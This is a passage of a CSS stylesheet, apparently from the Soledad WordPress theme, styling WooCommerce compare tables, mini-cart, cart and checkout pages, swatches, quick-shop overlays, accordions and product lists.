	line-height: 1.2;
}
@media only screen and (max-width: 767px) {
	.penci-products-compare-table .penci-product-title {
		font-size: var(--pcsl_tt_m_fs);
	}
}
@media only screen and (max-width: 767px) {
	.penci-products-compare-table .penci-product-title {
		font-size: var(--pcsl_tt_m_fs);
	}
}
.penci-products-compare-table .penci-product-title a {
	text-decoration: none;
	color: var(--pcheading-cl);
}
.penci-products-compare-table .penci-top-button {
	text-align: center;
	line-height: 1;
}
.penci-products-compare-table .price del {
	opacity: .7;
	color: var(--pcpage_meta_cl);
}
.penci-products-compare-table .price .amount,
.penci-products-compare-table .price ins {
	font-weight: bold;
	text-decoration: none;
	color: var(--pcaccent-cl);
}
.penci-products-compare-table .price del .amount {
	color: inherit;
}
.woocommerce.penci-products-compare-table .penci-top-button a.button {
	background-color: transparent;
	color: var(--pcheading-cl);
	margin: 0 0 12px;
	padding: 0;
	line-height: 1;
	height: auto;
}
.penci-products-compare-table .penci-top-button a:before {
	font-family: "penciicon", serif;
	font-size: 8px;
	line-height: inherit;
	display: inline-block;
	margin-right: 5px;
	content: '\f110';
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.penci-products-compare-table .penci-top-button a.penci-compare.loading:before {
	display: none;
}
.penci-products-compare-table .penci-top-button a.penci-compare.loading:after {
	position: static;
	display: inline-block;
	margin-left: 5px;
}
@media only screen and (max-width: 767px) {
	.penci-products-compare-table {
		overflow-x: auto;
	}
	.penci-products-compare-table .penci-compare-row .compare-field {
		flex: 0 0 180px;
	}
	.penci-products-compare-table .compare-value {
		flex: 0 0 290px;
	}
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
	border: 2px solid rgba(55, 55, 55, 0.1);
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:hover {
	color: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
}
.penci-header-cart-detail {
	position: absolute;
	z-index: 9999;
	top: 100%;
	right: 0;
	visibility: hidden;
	width: 300px;
	-webkit-transition: opacity 0.3s ease, visibility 0.3s ease, -webkit-transform 0.3s ease;
	transition: opacity 0.3s ease, visibility 0.3s ease, transform 0.3s ease, -webkit-transform 0.3s ease;
	-webkit-transform: translateY(15px) translateZ(0);
	transform: translateY(15px) translateZ(0);
	text-align: left;
	opacity: 0;
	border: 1px solid var(--pcpage_gbdr_cl);
	background-color: var(--pcbg-cl);
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden;
}
.penci-header-cart-detail .widget_shopping_cart_content {
	padding-top: 10px;
}
.penci-header-cart-detail .woocommerce-mini-cart__empty-message {
	padding: 0 20px 10px;
	text-align: center;
}
.penci-header-cart-detail .penci-woo-cart-buttons-group > p{
	text-align: center;
}
li:hover .penci-header-cart-detail {
	visibility: visible;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.penci-header-cart-detail ul.product_list_widget li {
	position: relative;
	margin-bottom: 0;
	padding: 10px 0;
}
.penci-header-cart-detail ul.product_list_widget li img {
	width: 50px;
}
.penci-header-cart-detail ul.product_list_widget li .amount {
	font-size: inherit;
}
.penci-header-cart-detail ul.product_list_widget li a {
	font-size: inherit;
	color: var(--pctext-cl);
	font-family: var(--pchead-font);
	font-weight: bold;
	margin-bottom: 5px;
}
.penci-header-cart-detail ul.woocommerce-mini-cart {
	overflow-y: auto;
	max-height: 320px;
	padding: 0 20px;
}
.penci-header-cart-detail ul.product_list_widget li a.remove {
	position: absolute;
	top: 15px;
	bottom: 50%;
	right: 10px;
	margin-top: 0;
	font-size: 0;
	opacity: 0.8;
}
.penci-header-cart-detail ul.product_list_widget li a.remove:before {
	font-family: 'penciicon';
	content: '\f110';
	font-size: 8px;
	color: var(--pcheading-cl);
	background-color: transparent;
}
.penci-header-cart-detail ul.product_list_widget li div.quantity {
	display: none;
}
.penci-header-cart-detail ul.product_list_widget li a.remove:hover {
	background-color: transparent;
	opacity: 1;
}
.woocommerce .penci-header-cart-detail ul.product_list_widget li a.remove:hover:before {
	color: var(--pcheading-cl);
}
.penci-header-cart-detail .woocommerce-mini-cart__total.total {
	position: relative;
	margin: 20px 0 0;
	padding: 10px 20px 0;
	text-align: center;
	background-color: var(--pcbg-cl);
	font-weight: bold;
	font-size: 1rem;
	border-top: 1px solid var(--pcpage_gbdr_cl);
}
.penci-header-cart-detail .woocommerce-mini-cart__buttons.buttons {
	margin: 0 -1px -10px;
	padding: 0 20px 20px;
	background-color: var(--pcbg-cl);
	border: 1px solid var(--pcpage_gbdr_cl);
	border-top: 0;
}
.penci-header-cart-detail .woocommerce-mini-cart__buttons.buttons .button {
	display: block;
	margin-top: 10px;
	padding: 0 15px;
	line-height: 36px;
	color: white;
	background-color: var(--pctext-cl);
}
.penci-header-cart-detail .woocommerce-mini-cart__buttons.buttons .button.checkout.wc-forward {
	background-color: var(--pcaccent-cl);
}
body.woocommerce-cart .entry-content .woocommerce {
	display: flex;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
body.woocommerce-cart .entry-content .woocommerce .woocommerce-cart-form,
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals {
	padding-right: 15px;
	padding-left: 15px;
}
body.woocommerce-cart .entry-content .woocommerce .woocommerce-cart-form {
	display: flex;
	flex: 0 0 auto;
	width: 66.5%;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals {
	display: flex;
	flex: 0 0 auto;
	width: 33.5%;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals {
	float: none;
	width: 100%;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals .button {
	/*line-height: 1.1;*/
	display: block;
	width: 100%;
	text-align: center;
	background-color: var(--pcpage_btns_bg_cl) !important;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals .penci-woo-cart-total-wrap {
	padding: 30px 30px 0;
	border: 2px solid var(--pcpage_gbdr_cl);
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table {
	border: 0;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table th {
	padding-right: 10px;
	text-transform: none;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table td {
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
}
.woocommerce-cart table.cart img {
	width: 60px;
}
@media only screen and (max-width: 767px) {
	body.woocommerce-cart .entry-content .woocommerce {
		margin-left: 0;
		margin-right: 0;
	}
	body.woocommerce-cart .woocommerce table.shop_table a.remove {
		margin: 0 auto;
	}
	body.woocommerce-cart .entry-content .woocommerce .woocommerce-cart-form,
	body.woocommerce-cart .entry-content .woocommerce .cart-collaterals {
		flex: 0 0 100%;
		width: 100%;
	}
	.woocommerce .penci_woo_pages_breadcrumbs {
		text-align: center;
		margin-bottom: 30px;
	}
}
.woocommerce .cart-collaterals .cart_totals h2, .woocommerce-page .cart-collaterals .cart_totals h2 {
	line-height: 1.2;
}
.products .penci-soledad-product .penci-removewishlist.button,
.post-entry .products .penci-soledad-product a.penci-removewishlist.button {
	z-index: 2;
	display: block;
	text-align: center;
	color: var(--pcpage_gtext_cl);
	background-color: transparent;
	padding-left: 0;
	padding-right: 0;
}
.products .penci-soledad-product.penci-hover .penci-removewishlist.button,
.products .penci-soledad-product:hover .penci-removewishlist.button {
	opacity: .85;
}
.products .penci-soledad-product .penci-removewishlist.button:before {
	font-family: "penciicon", serif;
	font-size: 8px;
	line-height: 27px;
	display: inline-block;
	margin: 0 5px 0 0;
	content: '\f110';
	color: inherit;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.products .penci-soledad-product .penci-removewishlist.button.loading:before {
	display: none;
}
.products .penci-soledad-product .penci-removewishlist.button.loading:after {
	position: static;
	display: inline-block;
	margin-left: 5px;
}
.woocommerce a.button.alt.disabled, .woocommerce a.button.alt:disabled, .woocommerce a.button.alt:disabled[disabled], .woocommerce a.button.alt.disabled:hover, .woocommerce a.button.alt:disabled:hover, .woocommerce a.button.alt:disabled[disabled]:hover, .woocommerce button.button.alt.disabled, .woocommerce button.button.alt:disabled, .woocommerce button.button.alt:disabled[disabled], .woocommerce button.button.alt.disabled:hover, .woocommerce button.button.alt:disabled:hover, .woocommerce button.button.alt:disabled[disabled]:hover, .woocommerce input.button.alt.disabled, .woocommerce input.button.alt:disabled, .woocommerce input.button.alt:disabled[disabled], .woocommerce input.button.alt.disabled:hover, .woocommerce input.button.alt:disabled:hover, .woocommerce input.button.alt:disabled[disabled]:hover, .woocommerce #respond input#submit.alt.disabled, .woocommerce #respond input#submit.alt:disabled, .woocommerce #respond input#submit.alt:disabled[disabled], .woocommerce #respond input#submit.alt.disabled:hover, .woocommerce #respond input#submit.alt:disabled:hover, .woocommerce #respond input#submit.alt:disabled[disabled]:hover {
	background-color: black;
}
@media only screen and (max-width: 767px) {
	.woocommerce-cart table.cart td.actions {
		padding-right: 30px;
		padding-left: 30px;
	}
	.woocommerce-cart table.cart td.actions .coupon .input-text {
		margin-bottom: 10px;
	}
	.woocommerce-cart table.cart td.actions button,
	.woocommerce-page table.cart td.actions .coupon .input-text + .button,
	.woocommerce-cart table.cart td.actions .coupon .input-text,
	.woocommerce .woocommerce-cart-form .cart button.button,
	.woocommerce-page table.cart td.actions .button,
	.woocommerce-cart table.cart td.actions input {
		float: none;
		width: 100%;
	}
}
.woocommerce-cart table.cart td.actions .coupon .input-text {
	font-family: var(--pchead-font);
	font-size: 13px;
	font-weight: var(--pchead-wei);
	min-width: 270px;
	min-height: 40px;
	padding: 10px 20px;
	text-transform: uppercase;
}
@media only screen and (min-width: 768px) {
	.woocommerce table.shop_table td.product-name {
		max-width: 220px;
	}
	.woocommerce-result-count {
		display: none;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce table.shop_table_responsive tr td,
	.woocommerce-page table.shop_table_responsive tr td {
		padding-right: 10px;
		padding-left: 10px;
	}
}
.woocommerce table.shop_table td.product-name a {
	font-size: 14px;
}
.woocommerce table.shop_table td.product-price .woocommerce-Price-currencySymbol,
.woocommerce table.shop_table td.product-price span * {
	color: var(--pcheading-cl);
}
.woocommerce table.shop_table td.product-subtotal span {
	font-size: 16px;
	font-weight: bold;
}
.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"],
.woocommerce .woocommerce-cart-form .cart button.button,
.woocommerce .woocommerce-cart-form .cart button.button:disabled,
.woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled] {
	font-size: 13px;
	line-height: 14px;
	padding: 13px 20px 13px;
	color: #fff;
	background-color: var(--pcpage_btns_bg_cl);
}
.woocommerce .woocommerce-cart-form .cart button.button:disabled,
.woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled] {
	background-color: grey;
}
.woocommerce .cart-collaterals .cart_totals h2, .woocommerce-page .cart-collaterals .cart_totals h2 {
	font-family: var(--pchead-font);
}
.woocommerce-NoticeGroup.woocommerce-NoticeGroup-checkout {
	display: flex;
	flex: 0 0 auto;
	width: 100%;
	padding: 0 15px;
}
.woocommerce-NoticeGroup.woocommerce-NoticeGroup-checkout ul {
	width: 100%;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout {
	display: flex;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review,
body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address,
body.woocommerce-checkout form.checkout.woocommerce-checkout #customer_details {
	flex: 0 0 auto;
	width: 60%;
	padding-right: 15px;
	padding-left: 15px;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address #customer_details {
	width: 100%;
	padding-left: 0;
	padding-right: 0;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout .col2-set .col-1,
body.woocommerce-checkout form.checkout.woocommerce-checkout .col2-set .col-2 {
	float: none;
	width: 100%;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout label {
	font-weight: bold;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review {
	flex: 0 0 auto;
	width: 40%;
}
@media only screen and (max-width: 960px) {
	body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #customer_details {
		width: 50%;
	}
	body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review {
		width: 50%;
	}
	body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address #customer_details {
		width: 100%;
	}
}
@media only screen and (max-width: 767px) {
	body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #customer_details,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review {
		flex: 0 0 auto;
		width: 100%;
	}
}
.woocommerce form.checkout h3#order_review_heading {
	margin-top: 0;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner {
	position: relative;
	margin-top: 10px;
	padding: 30px;
	background-color: var(--pcwc_ckout_inner_bg);
}
body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner table,
body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner .woocommerce-checkout-payment {
	border: 0;
	border-radius: 0;
	background-color: var(--pcbg-cl);
}
body.woocommerce-checkout form.checkout.woocommerce-checkout button {
	width: 100%;
	text-align: center;
	color: #fff;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout button:hover {
	color: #fff;
}
.woocommerce-checkout #payment ul.payment_methods {
	background-color: var(--pcbg-cl);
}
.select2-container--default .select2-selection--single {
	height: 44px;
	border-color: var(--pcborder-cl);
	border-radius: 0;
}
.select2-container--default .select2-selection--single .select2-selection__rendered {
	line-height: 44px;
}
.select2-container--default .select2-selection--single .select2-selection__arrow {
	height: 44px;
}
.select2-dropdown {
	border-color: var(--pcborder-cl);
	border-radius: 0;
}
body.woocommerce-order-received .woocommerce-order {
	text-align: center;
}
body.woocommerce-order-received .woocommerce-order .woocommerce-notice {
	font-size: 18px;
}
body.woocommerce-order-received .woocommerce-order .woocommerce-notice:before {
	font-family: penciicon, serif;
	font-size: 30px;
	line-height: 70px;
	display: block;
	width: 70px;
	height: 70px;
	margin: 0 auto 30px;
	content: "\f111";
	color: #fff;
	border-radius: 50%;
	background-color: var(--pcaccent-cl);
}
body.woocommerce-order-received .woocommerce-order tr:last-child th {
	border: 0;
}
.woocommerce ul.order_details li {
	display: inline-block;
	float: none;
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.order_details li {
		display: block;
		padding: 5px 0;
		border-right: 0;
		border-bottom: 1px dashed #d3ced2;
	}
	.woocommerce ul.order_details li:last-child {
		border: 0;
	}
}
body.woocommerce-order-received .woocommerce-order section {
	max-width: 700px;
	margin: 0 auto;
	padding: 30px;
	border: 1px solid var(--pcborder-cl);
}
body.woocommerce-order-received .woocommerce-order section + section {
	margin-top: 30px;
}
.woocommerce .woocommerce-customer-details address {
	border: 0;
	border-radius: 0;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color {
	display: flex;
	align-items: center;
	justify-content: space-between;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .count {
	padding: 2px 5px;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .swatch-inner {
	display: flex;
	align-items: center;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch {
	display: inline-flex;
	margin-right: 10px;
}
.widget .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span {
	font-size: 0;
	display: block;
	width: 24px;
	height: 24px;
	text-align: center;
	border-radius: 50%;
}
.widget .swatches-small .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span {
	width: 18px;
	height: 18px;
}
.widget .swatches-small .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span:before {
	font-size: 8px;
	line-height: 18px;
}
.widget .swatches-large .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span {
	width: 32px;
	height: 32px;
}
.widget .swatches-large .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span:before {
	font-size: 14px;
	line-height: 32px;
}
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span {
	display: inline-block;
}
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color a {
	display: flex;
}
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color,
.widget .swatches-display-double .wc-layered-nav-term.with-swatch-color,
.widget .swatches-display-double .wc-layered-nav-term.with-swatch-color .layered-nav-link,
.widget .swatches-display-double .wc-layered-nav-term.with-swatch-color span,
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color span {
	display: inline-flex;
	align-items: center;
	justify-content: space-between;
}
.widget .swatches-display-double .wc-layered-nav-term.with-swatch-color .layer-term-name,
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color .layer-term-name {
	margin: 0 5px;
}
.widget .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span:before {
	font-family: penciicon, serif;
	font-size: 12px;
	line-height: 24px;
	content: "\f111";
	opacity: 0;
	color: white;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.widget .wc-layered-nav-term.chosen a {
	font-weight: bold;
}
.widget .wc-layered-nav-term.with-swatch-color.chosen .swatch-inner .filter-swatch span:before {
	opacity: 1;
}
.quick-shop-wrapper {
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	visibility: hidden;
	padding: 0 0 40px;
	text-align: center;
	opacity: 0;
	display: flex;
	justify-content: center;
	align-items: center;
}
.quick-shop-shown .quick-shop-wrapper {
	z-index: 99;
	visibility: visible;
	opacity: 1;
	background-color: rgba(255, 255, 255, .95);
}
.quick-shop-shown .quick-shop-wrapper .quick-shop-form {
	height: calc(100% - 32px);
	overflow-y: auto;
	padding-top: 16px;
	overflow-x: hidden;
	width: 100%;
	display: flex;
	justify-content: center;
	align-items: center;
}
@media only screen and (max-width: 767px) {
	.quick-shop-shown .quick-shop-wrapper .quick-shop-form {
		display: block;
		padding-top: 22px;
	}
}
.quick-shop-shown .quick-shop-wrapper table,
.quick-shop-shown .quick-shop-wrapper table th,
.quick-shop-shown .quick-shop-wrapper table td {
	border: 0;
	position: relative;
	text-align: center;
}
.quick-shop-shown .quick-shop-wrapper .variations select {
	box-shadow: 0 1px 3px rgba(55, 55, 55, .1);
}
.woocommerce div.product form.cart .variations tr th {
	padding-top: 0;
	padding-bottom: 0;
	padding-left: 0;
}
.woocommerce div.product form.cart .variations tr:not(:last-child) td {
	padding-bottom: 10px;
}
.woocommerce div.product .quick-shop-wrapper form.cart .variations td.label {
	padding: 0;
}
.woocommerce div.product .quick-shop-wrapper form.cart,
.woocommerce div.product .quick-shop-wrapper p.cart {
	margin-bottom: 0;
}
.products li.product.quick-shop-shown .penci-product-loop-buttons,
.products li.product.quick-shop-shown .hover-img {
	visibility: hidden;
	opacity: 0;
	display: none;
}
.quick-shop-shown .quick-shop-wrapper label {
	font-weight: bold;
}
.quick-shop-shown .quick-shop-wrapper .reset_variations {
	display: block;
	margin-top: 10px;
}
.quick-shop-wrapper .quantity .qty,
.quick-shop-wrapper div.quantity input[type="number"] {
	border: 0;
}
.quick-shop-wrapper div.quantity input[type="button"].minus,
.quick-shop-wrapper div.quantity input[type="button"].plus {
	width: 39px;
	height: 39px;
	color: #fff;
	border-radius: 50%;
	background-color: rgba(0, 0, 0, 0.5);
}
.quick-shop-wrapper div.quantity input[type="button"].minus:hover,
.quick-shop-wrapper div.quantity input[type="button"].plus:hover {
	background-color: rgba(0, 0, 0, 0.9);
}
.quick-shop-wrapper .quantity,
.quick-shop-wrapper .woocommerce-variation.single_variation {
	display: none !important;
}
.quick-shop-wrapper .variations {
	text-align: center;
}
.quick-shop-wrapper table {
	width: 100%;
}
.quick-shop-wrapper table tr {
	display: flex;
	flex-direction: column;
	flex-wrap: wrap;
}
.quick-shop-wrapper table tr td {
	padding: 5px 0;
}
.quick-shop-wrapper .reset_variations {
	display: block;
}
.quick-shop-wrapper .variations_form .woocommerce-variation-add-to-cart {
	margin-top: 0;
	position: absolute;
	overflow: visible;
	bottom: 0;
	left: 0;
	right: 0;
}
.woocommerce div.penci-summary-align-center .quick-shop-wrapper form.cart .button,
.quick-shop-wrapper .single_add_to_cart_button.button {
	position: absolute;
	bottom: 0;
	left: 0;
	display: block;
	width: 100%;
	color: #fff;
}
.woocommerce .quick-shop-wrapper .single_add_to_cart_button.button:hover {
	color: #fff;
}
.quick-shop-wrapper div.quantity input[type="button"] {
	border: 0;
}
.quick-shop-wrapper .quick-shop-close {
	font-size: 0;
	position: absolute;
	top: 10px;
	left: 10px;
	width: 20px;
	height: 20px;
	cursor: pointer;
	text-align: center;
	border: 1px solid #888;
	border-radius: 50%;
	background-color: white;
	z-index: 5;
}
.quick-shop-wrapper .quantity {
	display: none;
}
.woocommerce div.product.penci-summary-align-center .quick-shop-wrapper form.cart .variations td.label,
.woocommerce div.product.penci-summary-align-center .quick-shop-wrapper form.cart .variations td.value {
	margin-left: 0;
	margin-right: 0;
	padding-right: 0;
	padding-left: 0;
	width: initial;
	text-align: center;
}
.woocommerce div.product.penci-summary-align-center .quick-shop-wrapper form.cart .variations td.label {
	padding-bottom: 5px;
}
.woocommerce div.product .quick-shop-wrapper form.cart .variations .reset_variations {
	display: block;
}
.quick-shop-wrapper .quick-shop-close:before {
	font-family: penciicon, serif;
	font-size: 8px;
	line-height: 18px;
	content: "\f110";
	color: gray;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.woocommerce ul.cart_list li,
.woocommerce ul.product_list_widget li {
	font-size: inherit;
	padding-right: 20px;
	color: inherit;
}
.woocommerce.widget_products ul.product_list_widget li,
.woocommerce.widget_top_rated_products ul.product_list_widget li {
	padding-left: 0;
	padding-right: 0;
}
.woocommerce ul.cart_list li div.quantity .qty,
.woocommerce ul.cart_list li div.quantity input[type="number"],
.woocommerce ul.cart_list li div.quantity input[type="button"],
.woocommerce ul.product_list_widget div.quantity input[type="button"] {
	font-size: 14px;
	height: 30px;
	line-height: 1;
	transition: all 0.3s ease-in-out;
}
.woocommerce ul.cart_list li div.quantity,
.woocommerce ul.product_list_widget div.quantity {
	margin-bottom: 10px;
}
.woocommerce ul.cart_list .product-cart-info,
.woocommerce ul.product_list_widget .product-cart-info {
	float: right;
	margin-bottom: 10px;
	width: calc(100% - 110px);
}
.woocommerce ul.cart_list li div.quantity + span.quantity,
.woocommerce ul.product_list_widget div.quantity + li span.quantity {
	display: block;
}
.woocommerce .widget ul.cart_list li .star-rating,
.woocommerce .widget ul.product_list_widget li .star-rating {
	margin: 0 0 10px;
}
.woocommerce ul.cart_list li a,
.woocommerce ul.product_list_widget li a {
	font-size: inherit;
	color: inherit;
}
.woocommerce ul.cart_list li a .product-title,
.woocommerce ul.product_list_widget li a .product-title {
	transition: all 0.3s;
}
.woocommerce ul.cart_list li a:hover .product-title,
.woocommerce ul.product_list_widget li a:hover .product-title {
	opacity: 0.7;
}
.woocommerce ul.cart_list li .amount,
.woocommerce ul.product_list_widget li .amount {
	font-size: inherit;
	float: none;
	font-weight: bold;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove,
.woocommerce .widget_shopping_cart .cart_list li a.remove,
.woocommerce.widget_shopping_cart .cart_list li a.remove {
	font-size: 0;
	line-height: 0;
	top: 0;
	right: 0;
	bottom: 0;
	left: auto;
	color: black !important;
	border: 0;
	background-color: var(--pcbg-cl);
}
body .penci-sidebar-cart .sidecart-content ul li a.remove:before,
.woocommerce .widget_shopping_cart .cart_list li a.remove:before,
.woocommerce.widget_shopping_cart .cart_list li a.remove:before {
	font-family: "penciicon", serif;
	font-size: 10px;
	line-height: 24px;
	content: "\f110";
	opacity: .5;
	color: black !important;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove:hover:before,
.woocommerce .widget_shopping_cart .cart_list li a.remove:hover:before,
.woocommerce.widget_shopping_cart .cart_list li a.remove:hover:before {
	opacity: 1;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove:hover,
.woocommerce .widget_shopping_cart .cart_list li a.remove:hover,
.woocommerce.widget_shopping_cart .cart_list li a.remove:hover {
	color: black;
	background-color: transparent;
}
.woocommerce .widget_shopping_cart .total,
.woocommerce.widget_shopping_cart .total {
	font-size: inherit;
	text-transform: uppercase;
}
.woocommerce .widget_shopping_cart .amount,
.woocommerce.widget_shopping_cart .amount {
	float: right;
}
.woocommerce .widget_shopping_cart .woocommerce-mini-cart__buttons.buttons {
	overflow: hidden;
}
.woocommerce .widget_shopping_cart .woocommerce-mini-cart__buttons.buttons .button {
	float: left;
	width: 48%;
	margin: 0;
	/*padding-top: 14px;
    padding-bottom: 14px;*/
}
.woocommerce ul.cart_list li del,
.woocommerce ul.product_list_widget li del {
	color: #999;
}
.woocommerce ul.cart_list li del .amount,
.woocommerce ul.product_list_widget li del .amount {
	font-size: inherit;
	color: inherit;
}
.woocommerce .widget_shopping_cart .woocommerce-mini-cart__buttons.buttons .button.checkout.wc-forward {
	float: right;
	background-color: var(--pcaccent-cl);
}
.woocommerce-accordion.wc-accordion-wrapper {
	clear: both;
}
.woocommerce-accordion.wc-accordion-wrapper + .related.products {
	margin-top: 60px;
}
.summary.entry-summary .woocommerce-accordion.wc-accordion-wrapper {
	margin-bottom: -1px;
	border-top: 1px solid #dedede;
}
.summary.entry-summary .penci-review-style-default #comments,
.summary.entry-summary .penci-review-style-default #review_form_wrapper {
	flex: 100%;
	width: 100%;
	max-width: unset;
}
.summary.entry-summary .penci-review-style-default #review_form_wrapper {
	margin-top: 30px;
}
.woocommerce #review_form #respond p.form-submit input[type="submit"] {
	padding: 0 15px;
}
.woocommerce table.shop_attributes {
	max-width: 600px;
	margin: 0 auto;
	border-top: 0;
}
.woocommerce table.shop_attributes p,
.woocommerce table.shop_attributes a {
	color: var(--pcmeta-cl);
}
.woocommerce table.shop_attributes a:hover {
	color: var(--pcaccent-cl);
}
.woocommerce table.shop_attributes tr td {
	text-align: right;
}
.woocommerce table.shop_attributes tr:last-child td,
.woocommerce table.shop_attributes tr:last-child th {
	border: 0;
}
.woocommerce table.shop_attributes tr:nth-child(2n) td,
.woocommerce table.shop_attributes tr:nth-child(2n) th {
	background-color: transparent;
}
.woocommerce-accordion.wc-accordion-wrapper:after {
	display: table;
	clear: both;
	content: "";
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-panel {
	display: none;
	padding: 25px 0;
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-item.parent-active {
	border-bottom: 1px solid var(--pcborder-cl);
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title {
	position: relative;
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title:after {
	font-family: penciicon !important;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	display: inline-flex;
	align-items: center;
	height: 100%;
	content: '\f11a';
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title.active:after {
	-moz-transform: rotate(90deg);
	-ms-transform: rotate(90deg);
	-o-transform: rotate(90deg);
	-webkit-transform: rotate(90deg);
	transform: rotate(90deg);
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title > a {
	display: block;
	padding-top: 20px;
	padding-bottom: 20px;
	color: var(--pcheading-cl);
	border-bottom: 1px solid var(--pcborder-cl);
	text-transform: uppercase;
	opacity: 0.7;
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title.active > a {
	opacity: 1;
}
.products.product-list .penci-soledad-product,
.woocommerce ul.products.product-list li.product,
.woocommerce-page ul.products.product-list li.product {
	margin-bottom: 0;
}
.products.product-list .penci-soledad-product .penci-product-loop-inner-content {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	margin-bottom: 30px;
	padding-bottom: 30px;
	border-bottom: 1px solid #dedede;
}
.products.product-list .penci-soledad-product .penci-product-loop-top {
	position: relative;
	align-self: flex-start;
	flex: 0 0 auto;
	width: 35%;
}
.products.product-list .penci-soledad-product .penci-product-loop-title {
	display: flex;
	flex: 0 0 auto;
	flex-direction: column;
	justify-content: center;
	width: 65%;
	padding-left: 30px;
	text-align: left;
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products.product-list[class*="columns-"] .penci-soledad-product,
	.woocommerce-page ul.products.product-list[class*="columns-"] .penci-soledad-product {
		float: none;
		width: 100%;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce .products.product-list .penci-soledad-product .penci-product-loop-top {
		width: 40%;
	}
	.woocommerce .products.product-list .penci-soledad-product .penci-product-loop-title {
		width: 60%;
	}
	.woocommerce .products.product-list .penci-soledad-product .penci-list-summary.entry-summary {
		display: none;
	}
	.woocommerce ul.products.mobile-columns-2.product-list .penci-soledad-product,
	.woocommerce-page ul.products.mobile-columns-2.product-list .penci-soledad-product,
	.woocommerce .penci_sidebar ul.products.mobile-columns-2.product-list .penci-soledad-product,
	.woocommerce-page .penci_sidebar ul.products.mobile-columns-2.product-list .penci-soledad-product,
	.woocommerce ul.products[class*="columns-"].product-list .penci-soledad-product,
	.woocommerce-page ul.products[class*="columns-"].product-list .penci-soledad-product {
		float: none !important;
		width: 100% !important;
	}
}
.woocommerce .products.product-list .penci-soledad-product h3,
.woocommerce .products.product-list .penci-soledad-product .woocommerce-loop-product__title {
	text-align: inherit;
}
.woocommerce .products.product-list .penci-soledad-product .price {
	text-align: inherit;
}
